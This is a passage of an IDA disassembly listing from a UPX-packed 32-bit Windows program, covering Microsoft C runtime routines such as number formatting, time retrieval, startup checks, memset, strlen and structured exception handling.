call sub_40F324
add esp, 0Ch
pop ebp
retn
sub_40BABC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BAD2 proc near ; CODE XREF: sub_40BB16+1Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jz short loc_40BAE3
mov byte ptr [ecx], 2Dh
inc ecx
neg eax
loc_40BAE3: ; CODE XREF: sub_40BAD2+9j
push esi
mov esi, ecx
loc_40BAE6: ; CODE XREF: sub_40BAD2+2Bj
xor edx, edx
div [ebp+arg_0]
cmp edx, 9
jbe short loc_40BAF5
add dl, 57h
jmp short loc_40BAF8
; ---------------------------------------------------------------------------
loc_40BAF5: ; CODE XREF: sub_40BAD2+1Cj
add dl, 30h
loc_40BAF8: ; CODE XREF: sub_40BAD2+21j
mov [ecx], dl
inc ecx
test eax, eax
ja short loc_40BAE6
mov byte ptr [ecx], 0
dec ecx
loc_40BB03: ; CODE XREF: sub_40BAD2+3Dj
mov dl, [esi]
mov al, [ecx]
mov [ecx], dl
dec ecx
mov [esi], al
inc esi
cmp esi, ecx
jb short loc_40BB03
pop esi
pop ebp
retn 8
sub_40BAD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB16 proc near ; CODE XREF: sub_408F0F+3Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
xor eax, eax
cmp [ebp+arg_8], 0Ah
jnz short loc_40BB29
cmp [ebp+arg_0], eax
jge short loc_40BB29
inc eax
loc_40BB29: ; CODE XREF: sub_40BB16+Bj
; sub_40BB16+10j
mov ecx, [ebp+arg_4]
push eax
push [ebp+arg_8]
mov eax, [ebp+arg_0]
call sub_40BAD2
mov eax, [ebp+arg_4]
pop ebp
retn
sub_40BB16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB3D proc near ; CODE XREF: sub_409CE5+176p
; sub_409CE5+194p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp+var_8]
push eax
call dword_41D19C ; GetSystemTimeAsFileTime
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
push 0
add eax, 2AC18000h
push 989680h
adc ecx, 0FE624E21h
push ecx
push eax
call sub_40F350
cmp edx, 7
jl short loc_40BB80
jg short loc_40BB7B
cmp eax, 93406FFFh
jbe short loc_40BB80
loc_40BB7B: ; CODE XREF: sub_40BB3D+35j
or eax, 0FFFFFFFFh
mov edx, eax
loc_40BB80: ; CODE XREF: sub_40BB3D+33j
; sub_40BB3D+3Cj
mov ecx, [ebp+arg_0]
test ecx, ecx
jz short locret_40BB8C
mov [ecx], eax
mov [ecx+4], edx
locret_40BB8C: ; CODE XREF: sub_40BB3D+48j
leave
retn
sub_40BB3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB8E proc near ; CODE XREF: UPX0:0040BC31p
; UPX0:0040BC42p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
cmp dword_42E3F8, 1
jnz short loc_40BBA1
call sub_40DF83
loc_40BBA1: ; CODE XREF: sub_40BB8E+Cj
push [ebp+arg_0]
call sub_40DDD8
push 0FFh
call sub_40DB24
pop ecx
pop ecx
pop ebp
retn
sub_40BB8E endp
; ---------------------------------------------------------------------------
loc_40BBB7: ; CODE XREF: UPX0:0040BD3Aj
push 58h
push offset dword_4268B8
call __SEH_prolog4
xor esi, esi
mov [ebp-4], esi
lea eax, [ebp-68h]
push eax
call dword_41D194 ; GetStartupInfoA
push 0FFFFFFFEh
pop edi
mov [ebp-4], edi
mov eax, 5A4Dh
cmp ds:400000h, ax
jnz short loc_40BC1E
mov eax, ds:40003Ch
cmp dword ptr [eax+400000h], 4550h
jnz short loc_40BC1E
mov ecx, 10Bh
cmp [eax+400018h], cx
jnz short loc_40BC1E
cmp dword ptr [eax+400074h], 0Eh
jbe short loc_40BC1E
xor ecx, ecx
cmp [eax+4000E8h], esi
setnz cl
mov [ebp-1Ch], ecx
jmp short loc_40BC21
; ---------------------------------------------------------------------------
loc_40BC1E: ; CODE XREF: UPX0:0040BBE4j
; UPX0:0040BBF5j ...
mov [ebp-1Ch], esi
loc_40BC21: ; CODE XREF: UPX0:0040BC1Cj
xor ebx, ebx
inc ebx
push ebx
call sub_40CDFD
pop ecx
test eax, eax
jnz short loc_40BC37
push 1Ch
call sub_40BB8E
pop ecx
loc_40BC37: ; CODE XREF: UPX0:0040BC2Dj
call sub_40E4D8
test eax, eax
jnz short loc_40BC48
push 10h
call sub_40BB8E
pop ecx
loc_40BC48: ; CODE XREF: UPX0:0040BC3Ej
call sub_40FC85
mov [ebp-4], ebx
call sub_40FA31
test eax, eax
jge short loc_40BC61
push 1Bh
call sub_40DAD0
pop ecx
loc_40BC61: ; CODE XREF: UPX0:0040BC57j
call dword_41D198 ; GetCommandLineA
mov dword_430294, eax
call sub_40F8FA
mov dword_42E3F0, eax
call sub_40F83F
test eax, eax
jge short loc_40BC87
push 8
call sub_40DAD0
pop ecx
loc_40BC87: ; CODE XREF: UPX0:0040BC7Dj
call sub_40F5C7
test eax, eax
jge short loc_40BC98
push 9
call sub_40DAD0
pop ecx
loc_40BC98: ; CODE XREF: UPX0:0040BC8Ej
push ebx
call sub_40DB8F
pop ecx
cmp eax, esi
jz short loc_40BCAA
push eax
call sub_40DAD0
pop ecx
loc_40BCAA: ; CODE XREF: UPX0:0040BCA1j
call sub_40F568
test [ebp-3Ch], bl
jz short loc_40BCBA
movzx ecx, word ptr [ebp-38h]
jmp short loc_40BCBD
; ---------------------------------------------------------------------------
loc_40BCBA: ; CODE XREF: UPX0:0040BCB2j
push 0Ah
pop ecx
loc_40BCBD: ; CODE XREF: UPX0:0040BCB8j
push ecx
push eax
push esi
push 400000h
call sub_417692
; ---------------------------------------------------------------------------
mov [ebp-20h], eax
cmp [ebp-1Ch], esi
jnz short loc_40BCD8
push eax
call sub_40DD40
loc_40BCD8: ; CODE XREF: UPX0:0040BCD0j
call sub_40DD6C
mov [ebp-4], edi
jmp short loc_40BD17
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-24h], ecx
push eax
push ecx
call sub_40F408
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov eax, [ebp-24h]
mov [ebp-20h], eax
cmp dword ptr [ebp-1Ch], 0
jnz short loc_40BD0B
push eax
call sub_40DD56
loc_40BD0B: ; CODE XREF: UPX0:0040BD03j
call sub_40DD7B
mov dword ptr [ebp-4], 0FFFFFFFEh
loc_40BD17: ; CODE XREF: UPX0:0040BCE0j
mov eax, [ebp-20h]
jmp short loc_40BD2F
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov dword ptr [ebp-4], 0FFFFFFFEh
mov eax, 0FFh
loc_40BD2F: ; CODE XREF: UPX0:0040BD1Aj
call __SEH_epilog4
retn
; ---------------------------------------------------------------------------
loc_40BD35: ; CODE XREF: UPX1:00470A29j
call sub_40FCD1
jmp loc_40BBB7
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40BD40 proc near ; CODE XREF: sub_4016D2+DBp
; sub_404725+E1p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_40BDB5
xor eax, eax
mov al, [esp+arg_4]
test al, al
jnz short loc_40BD6C
cmp edx, 100h
jb short loc_40BD6C
cmp dword_430144, 0
jz short loc_40BD6C
jmp sub_40FDBE
; ---------------------------------------------------------------------------
loc_40BD6C: ; CODE XREF: sub_40BD40+14j
; sub_40BD40+1Cj ...
push edi
mov edi, ecx
cmp edx, 4
jb short loc_40BDA5
neg ecx
and ecx, 3
jz short loc_40BD87
sub edx, ecx
loc_40BD7D: ; CODE XREF: sub_40BD40+45j
mov [edi], al
add edi, 1
sub ecx, 1
jnz short loc_40BD7D
loc_40BD87: ; CODE XREF: sub_40BD40+39j
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_40BDA5
rep stosd
test edx, edx
jz short loc_40BDAF
loc_40BDA5: ; CODE XREF: sub_40BD40+32j
; sub_40BD40+5Dj ...
mov [edi], al
add edi, 1
sub edx, 1
jnz short loc_40BDA5
loc_40BDAF: ; CODE XREF: sub_40BD40+63j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40BDB5: ; CODE XREF: sub_40BD40+Aj
mov eax, [esp+arg_0]
retn
sub_40BD40 endp
; ---------------------------------------------------------------------------
align 4
; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE20 proc near ; DATA XREF: __SEH_prolog4o
; sub_4100F0+Co ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 18h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebx+8]
xor esi, dword_42A034
push edi
mov eax, [esi]
mov [ebp+var_1], 0
mov [ebp+var_C], 1
lea edi, [ebx+10h]
cmp eax, 0FFFFFFFEh
jz short loc_40BE59
mov ecx, [esi+4]
add ecx, edi
xor ecx, [eax+edi]
call sub_40AC1C
loc_40BE59: ; CODE XREF: sub_40BE20+2Aj
mov ecx, [esi+0Ch]
mov eax, [esi+8]
add ecx, edi
xor ecx, [eax+edi]
call sub_40AC1C
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jnz loc_40BF8C
mov ecx, [ebp+arg_8]
lea edx, [ebp+var_18]
mov [ebx-4], edx
mov ebx, [ebx+0Ch]
mov [ebp+var_18], eax
mov [ebp+var_14], ecx
cmp ebx, 0FFFFFFFEh
jz short loc_40BEEC
lea ecx, [ecx+0]
loc_40BE90: ; CODE XREF: sub_40BE20+A0j
lea eax, [ebx+ebx*2]
mov ecx, [esi+eax*4+14h]
lea eax, [esi+eax*4+10h]
mov [ebp+var_10], eax
mov eax, [eax]
mov [ebp+var_8], eax
test ecx, ecx
jz short loc_40BEBB
mov edx, edi
call sub_40FFFE
mov [ebp+var_1], 1
test eax, eax
jl short loc_40BEF6
jg short loc_40BEFF
mov eax, [ebp+var_8]
loc_40BEBB: ; CODE XREF: sub_40BE20+85j
mov ebx, eax
cmp eax, 0FFFFFFFEh
jnz short loc_40BE90
cmp [ebp+var_1], 0
jz short loc_40BEEC
loc_40BEC8: ; CODE XREF: sub_40BE20+DDj
; sub_40BE20+187j
mov eax, [esi]
cmp eax, 0FFFFFFFEh
jz short loc_40BEDC
mov ecx, [esi+4]
add ecx, edi
xor ecx, [eax+edi]
call sub_40AC1C
loc_40BEDC: ; CODE XREF: sub_40BE20+ADj
mov ecx, [esi+0Ch]
mov edx, [esi+8]
add ecx, edi
xor ecx, [edx+edi]
call sub_40AC1C
loc_40BEEC: ; CODE XREF: sub_40BE20+6Bj
; sub_40BE20+A6j ...
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40BEF6: ; CODE XREF: sub_40BE20+94j
mov [ebp+var_C], 0
jmp short loc_40BEC8
; ---------------------------------------------------------------------------
loc_40BEFF: ; CODE XREF: sub_40BE20+96j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0E06D7363h
jnz short loc_40BF33
cmp off_41DCA0, 0
jz short loc_40BF33
push offset off_41DCA0
call sub_4100F0
add esp, 4
test eax, eax
jz short loc_40BF33
mov edx, [ebp+arg_0]
push 1
push edx
call off_41DCA0
add esp, 8
loc_40BF33: ; CODE XREF: sub_40BE20+E8j
; sub_40BE20+F1j ...
mov ecx, [ebp+arg_4]
call sub_41002E
mov eax, [ebp+arg_4]
cmp [eax+0Ch], ebx
jz short loc_40BF55
push offset dword_42A034
push edi
mov edx, ebx
mov ecx, eax
call sub_410048
mov eax, [ebp+arg_4]
loc_40BF55: ; CODE XREF: sub_40BE20+121j
mov ecx, [ebp+var_8]
mov [eax+0Ch], ecx
mov eax, [esi]
cmp eax, 0FFFFFFFEh
jz short loc_40BF6F
mov ecx, [esi+4]
add ecx, edi
xor ecx, [eax+edi]
call sub_40AC1C
loc_40BF6F: ; CODE XREF: sub_40BE20+140j
mov ecx, [esi+0Ch]
mov edx, [esi+8]
add ecx, edi
xor ecx, [edx+edi]
call sub_40AC1C
mov eax, [ebp+var_10]
mov ecx, [eax+8]
mov edx, edi
call sub_410015
loc_40BF8C: ; CODE XREF: sub_40BE20+50j
mov edx, 0FFFFFFFEh
cmp [ebx+0Ch], edx
jz loc_40BEEC
push offset dword_42A034
push edi
mov ecx, ebx
call sub_410048
jmp loc_40BEC8
sub_40BE20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40BFB0 proc near ; CODE XREF: sub_40ACB7+1Ap
; sub_40AD27+25p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_40BFE0
loc_40BFBC: ; CODE XREF: sub_40BFB0+1Bj
mov al, [ecx]
add ecx, 1
test al, al
jz short loc_40C013
test ecx, 3
jnz short loc_40BFBC
add eax, 0
lea esp, [esp+0]
lea esp, [esp+0]
loc_40BFE0: ; CODE XREF: sub_40BFB0+Aj
; sub_40BFB0+46j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_40BFE0
mov eax, [ecx-4]
test al, al
jz short loc_40C031
test ah, ah
jz short loc_40C027
test eax, 0FF0000h
jz short loc_40C01D
test eax, 0FF000000h
jz short loc_40C013
jmp short loc_40BFE0
; ---------------------------------------------------------------------------
loc_40C013: ; CODE XREF: sub_40BFB0+13j
; sub_40BFB0+5Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40C01D: ; CODE XREF: sub_40BFB0+58j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40C027: ; CODE XREF: sub_40BFB0+51j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40C031: ; CODE XREF: sub_40BFB0+4Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_40BFB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C03B proc near ; CODE XREF: sub_4010D8+12p
; sub_405CA8+44p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_41D58C
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
pop edi
mov [ebp+var_4], eax
pop esi
test eax, eax
jz short loc_40C070
test byte ptr [eax], 8
jz short loc_40C070
mov [ebp+var_C], 1994000h
loc_40C070: ; CODE XREF: sub_40C03B+27j
; sub_40C03B+2Cj
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_41D1DC ; RaiseException
leave
retn 8
sub_40C03B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C087 proc near ; CODE XREF: sub_4108BA+67p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov ebp, [ebp+var_4]
mov esp, [ebx-4]
jmp eax
sub_40C087 endp
; ---------------------------------------------------------------------------
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_40C0B9 proc near ; CODE XREF: sub_4103CB+31p
; sub_410828+59p ...
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_40C0B9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C0C0 proc near ; CODE XREF: sub_40C254+6Bp
; sub_4108BA:loc_4108E4p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, large fs:0
mov [ebp+var_4], esi
mov [ebp+var_8], offset loc_40C0EB
push 0
push [ebp+arg_4]
push [ebp+var_8]
push [ebp+arg_0]
call sub_416F6E ; RtlUnwind
loc_40C0EB: ; DATA XREF: sub_40C0C0+14o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and eax, 0FFFFFFFDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov edi, large fs:0
mov ebx, [ebp+var_4]
mov [ebx], edi
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_40C0C0 endp
; ---------------------------------------------------------------------------
loc_40C114: ; CODE XREF: UPX0:0041BEEAj
; UPX0:0041BF05j ...
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_410D80
add esp, 20h
mov [ebp-8], eax
pop edi
pop esi
pop ebx
mov eax, [ebp-8]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C14A proc near ; DATA XREF: sub_40C40D+26o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
push esi
cld
mov esi, [ebp+arg_4]
mov ecx, [esi+8]
xor ecx, esi
call sub_40AC1C
push 0
push esi
push dword ptr [esi+14h]
push dword ptr [esi+0Ch]
push 0
push [ebp+arg_8]
push dword ptr [esi+10h]
push [ebp+arg_0]
call sub_410D80
add esp, 20h
pop esi
pop ebp
retn
sub_40C14A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C17D proc near ; CODE XREF: sub_40C254+83p
; sub_410928+55p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 38h
push ebx
cmp [ebp+arg_0], 123h
jnz short loc_40C1A1
mov eax, offset loc_40C228
mov ecx, [ebp+arg_4]
mov [ecx], eax
xor eax, eax
inc eax
jmp loc_40C251
; ---------------------------------------------------------------------------
loc_40C1A1: ; CODE XREF: sub_40C17D+10j
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_40C254
mov eax, dword_42A034
lea ecx, [ebp+var_28]
xor eax, ecx
mov [ebp+var_20], eax
mov eax, [ebp+arg_10]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_18], eax
mov eax, [ebp+arg_14]
mov [ebp+var_14], eax
mov eax, [ebp+arg_18]
mov [ebp+var_10], eax
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_38], 1
mov eax, [ebp+arg_0]
mov [ebp+var_34], eax
mov eax, [ebp+arg_8]
mov [ebp+var_30], eax
call sub_40E38F
mov eax, [eax+80h]
mov [ebp+var_2C], eax
lea eax, [ebp+var_34]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call [ebp+var_2C]
pop ecx
pop ecx
and [ebp+var_38], 0
loc_40C228: ; DATA XREF: sub_40C17D+12o
cmp [ebp+var_4], 0
jz short loc_40C245
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_40C24E
; ---------------------------------------------------------------------------
loc_40C245: ; CODE XREF: sub_40C17D+AFj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_40C24E: ; CODE XREF: sub_40C17D+C6j
mov eax, [ebp+var_38]
loc_40C251: ; CODE XREF: sub_40C17D+1Fj
pop ebx
leave
retn
sub_40C17D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C254 proc near ; DATA XREF: sub_40C17D+28o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
cld
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
xor ecx, [ebp+arg_4]
call sub_40AC1C
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
jz short loc_40C286
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
xor eax, eax
inc eax
jmp short loc_40C2F0
; ---------------------------------------------------------------------------
jmp short loc_40C2F0
; ---------------------------------------------------------------------------
loc_40C286: ; CODE XREF: sub_40C254+1Fj
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+18h]
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
push [ebp+arg_0]
call sub_410D80
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_40C2C4
push [ebp+arg_0]
push [ebp+arg_4]
call sub_40C0C0
loc_40C2C4: ; CODE XREF: sub_40C254+63j
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp+var_4]
push eax
push 123h
call sub_40C17D
add esp, 1Ch
mov eax, [ebp+var_4]
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp eax
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
loc_40C2F0: ; CODE XREF: sub_40C254+2Ej
; sub_40C254+30j
pop ebx
leave
retn
sub_40C254 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2F3 proc near ; CODE XREF: sub_410928+83p
; sub_410A1C+1B7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, [edi+10h]
mov esi, [edi+0Ch]
mov [ebp+var_4], eax
mov ebx, esi
jmp short loc_40C339
; ---------------------------------------------------------------------------
loc_40C30C: ; CODE XREF: sub_40C2F3+4Dj
cmp esi, 0FFFFFFFFh
jnz short loc_40C316
call sub_40E077
loc_40C316: ; CODE XREF: sub_40C2F3+1Cj
mov ecx, [ebp+var_4]
dec esi
mov eax, esi
imul eax, 14h
add eax, ecx
mov ecx, [ebp+arg_8]
cmp [eax+4], ecx
jge short loc_40C32E
cmp ecx, [eax+8]
jle short loc_40C333
loc_40C32E: ; CODE XREF: sub_40C2F3+34j
cmp esi, 0FFFFFFFFh
jnz short loc_40C33C
loc_40C333: ; CODE XREF: sub_40C2F3+39j
dec [ebp+arg_4]
mov ebx, [ebp+arg_0]
loc_40C339: ; CODE XREF: sub_40C2F3+17j
mov [ebp+arg_0], esi
loc_40C33C: ; CODE XREF: sub_40C2F3+3Ej
cmp [ebp+arg_4], 0
jge short loc_40C30C
mov eax, [ebp+arg_C]
inc esi
mov [eax], esi
mov eax, [ebp+arg_10]
mov [eax], ebx
cmp ebx, [edi+0Ch]
ja short loc_40C356
cmp esi, ebx
jbe short loc_40C35B
loc_40C356: ; CODE XREF: sub_40C2F3+5Dj
call sub_40E077
loc_40C35B: ; CODE XREF: sub_40C2F3+61j
mov eax, esi
imul eax, 14h
add eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40C2F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C368 proc near ; CODE XREF: sub_41050D+28p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov [esi], eax
call sub_40E38F
mov eax, [eax+98h]
mov [esi+4], eax
call sub_40E38F
mov [eax+98h], esi
mov eax, esi
pop esi
pop ebp
retn
sub_40C368 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C394 proc near ; CODE XREF: sub_410633+60p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
call sub_40E38F
mov eax, [eax+98h]
jmp short loc_40C3B0
; ---------------------------------------------------------------------------
loc_40C3A6: ; CODE XREF: sub_40C394+1Ej
mov ecx, [eax]
cmp ecx, [ebp+arg_0]
jz short loc_40C3B7
mov eax, [eax+4]
loc_40C3B0: ; CODE XREF: sub_40C394+10j
test eax, eax
jnz short loc_40C3A6
inc eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40C3B7: ; CODE XREF: sub_40C394+17j
xor eax, eax
pop ebp
retn
sub_40C394 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3BB proc near ; CODE XREF: sub_410633+9p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
call sub_40E38F
mov esi, [ebp+arg_0]
cmp esi, [eax+98h]
jnz short loc_40C3E2
call sub_40E38F
mov ecx, [esi+4]
mov [eax+98h], ecx
loc_40C3DF: ; CODE XREF: sub_40C3BB+50j
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40C3E2: ; CODE XREF: sub_40C3BB+14j
call sub_40E38F
mov eax, [eax+98h]
jmp short loc_40C3F8
; ---------------------------------------------------------------------------
loc_40C3EF: ; CODE XREF: sub_40C3BB+41j
mov ecx, [eax+4]
cmp esi, ecx
jz short loc_40C405
mov eax, ecx
loc_40C3F8: ; CODE XREF: sub_40C3BB+32j
cmp dword ptr [eax+4], 0
jnz short loc_40C3EF
pop esi
pop ebp
jmp sub_40E077
; ---------------------------------------------------------------------------
loc_40C405: ; CODE XREF: sub_40C3BB+39j
mov ecx, [esi+4]
mov [eax+4], ecx
jmp short loc_40C3DF
sub_40C3BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C40D proc near ; CODE XREF: sub_41050D+7Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_42A034
and [ebp+var_18], 0
lea ecx, [ebp+var_18]
xor eax, ecx
mov ecx, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
inc eax
mov [ebp+var_14], offset sub_40C14A
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_18], eax
lea eax, [ebp+var_18]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_410E70
mov ecx, eax
mov eax, [ebp+var_18]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_40C40D endp
; =============== S U B R O U T I N E =======================================
sub_40C46D proc near ; CODE XREF: sub_4016D2+1Fp
; sub_401BB2+1Fp ...
arg_0 = byte ptr 4
push eax
push large dword ptr fs:0
lea eax, [esp+8+arg_0]
sub esp, [esp+0Ch]
push ebx
push esi
push edi
mov [eax], ebp
mov ebp, eax
mov eax, dword_42A034
xor eax, ebp
push eax
push dword ptr [ebp-4]
mov dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-0Ch]
mov large fs:0, eax
retn
sub_40C46D endp ; sp-analysis failed
